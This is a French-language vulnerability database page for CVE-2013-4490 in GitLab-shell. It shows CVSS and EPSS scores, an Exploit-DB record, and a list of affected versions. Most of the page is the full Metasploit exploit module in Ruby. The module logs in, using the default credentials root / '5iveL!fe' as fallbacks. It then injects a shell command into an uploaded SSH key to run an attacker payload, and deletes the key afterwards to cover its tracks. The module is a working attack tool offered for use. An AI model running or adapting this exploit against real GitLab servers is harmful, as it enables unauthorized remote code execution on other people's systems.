Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 34362
Date de publication : 2014-08-18 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlab-shell Code Execution',
'Description' => %q(
This module takes advantage of the addition of authorized
ssh keys in the gitlab-shell functionality of Gitlab. Versions
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
in a system call resulting in a command injection vulnerability. As
this relies on adding an ssh key to an account valid credentials
are required to exploit this vulnerability.
),
'Author' =>
[
'Brandon Knight'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
['CVE', '2013-4490']
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64
}
],
[ 'Unix (CMD)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'RequiredCmd' => 'openssl perl python'
},
'BadChars' => "\x22"
}
}
],
[ 'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' =>
{
'BadChars' => "\x22"
}
}
]
],
'CmdStagerFlavor' => %w( bourne printf ),
'DisclosureDate' => 'Nov 4 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
], self.class)
end
def exploit
login
case target['Platform']
when 'unix'
execute_command(payload.encoded)
when 'python'
execute_command("python -c \\\"#{payload.encoded}\\\"")
when 'linux'
execute_cmdstager(temp: './', linemax: 2800)
end
end
def execute_command(cmd, _opts = {})
key_id = add_key(cmd)
delete_key(key_id)
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
if res && res.body && res.body.include?('GitLab')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
# Get a valid session cookie and authenticity_token for the next step
res = send_request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => signin_page
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
if res.body.include? 'user[email]'
@gitlab_version = 5
user_field = 'user[email]'
else
@gitlab_version = 7
user_field = 'user[login]'
end
# Perform the actual login and get the newly assigned session cookie
res = send_request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => signin_page,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => username,
'user[password]' => password,
'user[remember_me]' => 0
}
)
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
end
def add_key(cmd)
if @gitlab_version == 5
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
else
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
end
# Perform an initial request to get an authenticity_token so the actual
# key addition can be done successfully.
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => normalize_uri(@key_base, 'new')
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
title = rand_text_alphanumeric(16)
key_info = rand_text_alphanumeric(6)
# Generate a random ssh key
key = OpenSSL::PKey::RSA.new 2048
type = key.ssh_type
data = [key.to_blob].pack('m0')
openssh_format = "#{type} #{data}"
# Place the payload in to the key information to perform the command injection
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"
res = send_request_cgi(
'method' => 'POST',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
'key[title]' => title,
'key[key]' => key
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
# Get the newly added key id so it can be used for cleanup
key_id = res.headers['Location'].split('/')[-1]
key_id
end
def delete_key(key_id)
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
# Remove the key which was added to clean up after ourselves
res = send_request_cgi(
'method' => 'POST',
'cookie' => "#{@session_cookie}",
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
'vars_post' =>
{
'_method' => 'delete',
'authenticity_token' => auth_token
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
end
end
Products Mentioned
Configuraton 0
Gitlab>>Gitlab >> Version 5.0.0
Gitlab>>Gitlab >> Version 5.0.1
Gitlab>>Gitlab >> Version 5.1.0
Gitlab>>Gitlab >> Version 5.2.0
Gitlab>>Gitlab >> Version 5.3.0
Gitlab>>Gitlab >> Version 5.4.0
Gitlab>>Gitlab >> Version 6.0.0
Gitlab>>Gitlab >> Version 6.1.0
Gitlab>>Gitlab >> Version 6.2.0
Gitlab>>Gitlab >> Version 6.2.1
Gitlab>>Gitlab >> Version 6.2.2
Gitlab>>Gitlab-shell >> Version To (including) 1.7.2
Gitlab>>Gitlab-shell >> Version 1.0.4
Gitlab>>Gitlab-shell >> Version 1.1.0
Gitlab>>Gitlab-shell >> Version 1.2.0
Gitlab>>Gitlab-shell >> Version 1.3.0
Gitlab>>Gitlab-shell >> Version 1.4.0
Gitlab>>Gitlab-shell >> Version 1.5.0
Gitlab>>Gitlab-shell >> Version 1.6.0
Gitlab>>Gitlab-shell >> Version 1.7.0
Gitlab>>Gitlab-shell >> Version 1.7.1
Références